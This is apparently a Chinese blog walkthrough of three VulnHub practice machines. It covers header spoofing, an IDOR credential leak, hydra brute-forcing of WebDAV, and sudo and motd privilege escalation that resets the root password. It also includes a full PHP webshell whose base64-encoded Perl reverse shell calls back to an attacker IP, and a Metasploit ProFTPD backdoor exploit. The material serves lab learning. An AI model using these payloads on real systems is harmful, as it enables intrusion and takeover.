Bootstrap

【内网渗透】vulnhub三个基础靶场wp

vulnhub三个基础靶场wp

前置知识:

linux权限详细解释:

https://blog.csdn.net/u013197629/article/details/73608613

linux目录结构详细解释:

http://c.biancheng.net/view/2833.html

linux find命令详细解释:

http://c.biancheng.net/view/779.html

image-20220910205935761

#!/bin/bash的含义:

https://blog.csdn.net/iot_flower/article/details/69055590

bash shell 文件语法解读与总结:

https://blog.csdn.net/u012617944/article/details/73693028

什么是shell脚本:

https://blog.csdn.net/weixin_42432281/article/details/88392219

Linux——vi命令详解

https://blog.csdn.net/cyl101816/article/details/82026678

1.Me-and-My-Girlfriend-1

基础信息:

背景描述:有一对恋人,即Alice和Bob,这对夫妻本来很浪漫,但是自从Alice在一家私人公司“ Ceban Corp”工作以来,爱丽丝对鲍勃的态度发生了一些变化是“隐藏的”,而鲍勃(Bob)寻求您的帮助,以获取爱丽丝(Alice)隐藏的内容并获得对该公司的完全访问权限!

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

ifconfig 

查看自己主机的ip地址,发现是192.168.245.133

image-20220910192840598

nmap 192.168.245.0/24  

扫描这个ip段的所有主机

image-20220910193109197

得到主机地址为192.168.245.134的是我们的靶机

并且开放了22端口和80端口

2.访问80端口查看信息

image-20220910193322492

3.xff

只能本地访问,那就尝试xff绕过:

如果xff不行,可以抓包修改:

X-Forwarded-For:127.0.0.1
Client-ip:127.0.0.1
X-Client-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Rriginating-IP:127.0.0.1
X-Remote-addr:127.0.0.1
HTTP_CLIENT_IP:127.0.0.1
X-Real-IP:127.0.0.1
X-Originating-IP:127.0.0.1
via:127.0.0.1

image-20220910193422584

得到一个登录注册页面:

image-20220910193431483

尝试登陆,发现profile页面url有id字段,这也太爽了,sql注入?直接访问?

image-20220910193526775

id从1试到12,到5的时候发现,用户名是alice,可能这就是我们要的密码

4.得到:alice:4lic3登陆靶机

那直接ssh连接虚拟机看能否登陆

image-20220910194414932

连接成功。

image-20220910194520709

ll命令,可以默认列出当前目录内文件的详细属性信息还有权限

直接获得第一个flag和秘密。

image-20220910194619147

5.接下来继续做信息收集

一开始尝试suid提权,但是没有可用的文件:

SUID目的就是让本来没有权限访问这个文件的用户可以访问这些资源,我们用suid提权就是相当于骑马,可以用上这种权限。有一些文件有suid权限,我们就可以用这些文件来干坏事,自己没有root权限也可以执行root权限。

find / -user root -perm -4000 -print 2>/dev/null

find命令去查找用户

image-20220910201538085

namp、vim、find、bash、more、less、nano、cp都没有

接下来继续做信息收集

sudo -l 显示当前用户的权限

为什么要显示当前用户权限?因为提权是一个漫长的过程,一步一步提升更高的权限,你得知道目前的权限有什么。所以基本上每次提权都要确认自己现在是什么权限,执行一个命令又不会费你多少时间,就是不断信息收集。比如经常输入ls /home 查看当前主机有什么用户,是什么权限

image-20220910224334381

发现php是不用密码直接可以root权限的

可以用root权限执行php

用php回调bash提权:(还是不太懂根本原理)

sudo php -r 'system("/bin/bash");'

找flag:

find / -name 'flag*.*'

2.narak

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

ifconfig 

192.168.54.128

nmap 192.168.54.0/24  

扫描这个ip段的所有主机

得到主机地址为192.168.54.133的是我们的靶机

image-20220915154844839

并且开放了22端口和80端口

2.访问80端口查看信息

image-20220911115605902

image-20220911115636767

3.使用dirb扫描目录

dirb http://192.168.54.133 

image-20220915155008749

4.尝试爆破webdav

发现webdav,webdav也是一种应用

想要打开,发现需要账号和密码。尝试从web页面获得关键字之后再爆破:

cewl 通过爬行网站关键信息创建一个密码字典

cewl http://192.168.54.133  -w 1.txt 

再用hydra一把嗦:

hydra 爆破神器,自动化爆破工具,暴力破解弱密码

hydra -L 1.txt -P 1.txt 192.168.54.133 http-get /webdav

image-20220915153700283

爆破得到用户名和密码为 yamdoot:Swarg

5.用cadaver连接之后上传webshell

webshell:记得正确配置yourip和yourport,是kali 的监听地址

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.145.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

先启用监听4444端口:

nc -lvvp 4444

连接webdav且上传webshell:

cadaver http://192.168.54.133/webdav    //连接

输入用户名和密码yamdoot:Swarg

put shell.php   //上传

上传之后,访问webshell页面,可以看到已经监听到信息:

image-20220915155555331

这样就算是反弹了一个shell到kali的监听端口

在这里看一下权限:whoami

image-20220915155745502

www-data权限已经拿到。而且我们现在的用户是yamdoot

交互式:

python3 -c 'import pty;pty.spawn("/bin/bash")' 

6.信息收集

接下来我们通过下面这条命令找一些属主是root 普通用户或组可执行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
 
#命令解释:
从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null

image-20220915160743095

在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码,这个编码可能是某个密码

image-20220915160811375

解码之后得到:chitragupt

根据查看/home发现的用户,挨个尝试下。

su inferno

当尝试切换到interno用户的时候,使用揭秘得到的这个字符串成功的su到了inferno用户上。到这里算是完成了从www-data权限到普通用户权限的权限提升。

这个时候登录其实也是ssh连接登录

image-20220915161222612

7.modt提权

下一步就是要提升自己的权限到root了。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

image-20220915161445904

这里使用modt提权

motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

当我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

vi /etc/update-motd.d/00-header    #编辑这个文件

echo 'root:123' | chpasswd     #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
记住vim修改的方法,得先按i开始编辑,然后输入:wq保存!!!!!

从插入模式切换为命令行模式按「ESC」键。

删除文字「x」:每按一次,删除光标所在位置的"后面"一个字符。

按「G」:移动到文章的最后。

「h」、「j」、「k」、「l」,分别控制光标左、下、上、右移一格。

然后保存修改后,退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令。

接着只需要su到root用户即可提权成功。

su root

image-20220915163442987

3.basic_pentesting_1

1.扫描主机扫描端口

扫描主机扫描端口,最初始的信息收集

这里用的是Netdiscover,二层发现工具,拥有主动和被动发现两种方式

netdiscover -i eth0 -r 192.168.54.0/24

很快出结果:

image-20220915143215570

扫描端口:

nmap -A 192.168.54.131

或者:

nmap -sS 192.168.54.131 -p 1-1000

image-20220915143824992

再进一步的信息:

nmap -sC -sV -p 80,3306 192.168.54.131 -o 192.168.54.131.txt

image-20220915144037069

2.msf探测漏洞

1.开启msfconsole

msfconsole

2.寻找ftp的ProFTPD 1.3.3c的漏洞并利用

search proftpd 1.3.3

		2-->proftpd_133c_vackdoor

use 2

show options

set RHOSTS 192.168.245.137

set payload cmd/unix/reverse

show options

set LHOST 192.168.245.137

run 

查询漏洞:

search proftpd 1.3.3

image-20220915145408645

选择我们要利用的漏洞,第二个,版本为133c的:

use 2

打开我们要设置的参数列表:

show options

required就是告诉是否要手动设置参数,yes就是要,no就是不用,这里要设置的只有rhosts,就是目标机器的ip地址,rport就是目标机器的端口,这里已经帮我们设置好了为21,所以现在只需设置rhosts就可以了

image-20220915145545046

通过set命令,设置目标ip地址为192.168.54.131:

set RHOSTS 192.168.54.131

下一步,设置payload:

先看有什么payload可以使用:

show payloads

image-20220915150232004

这里使用第三个payload:反向连接的payload

set payload cmd/unix/reverse

接下来查看payload的option,要设置什么东西:

show options

这里显示,还需要我们设置payload使用的机器ip地址LHOST,也就是我们kali 的IP地址

image-20220915150521191

设置LHOST:

set LHOST 192.168.54.128

直接开干!

run 

image-20220915151501940

上图就是最后的结果了,此时我们已经getshell,并且是root权限:

sudo -l

image-20220915151639069

进入交互模式:

python3 -c 'import pty;pty.spawn("/bin/bash")' 

此时靶机已经被拿下

;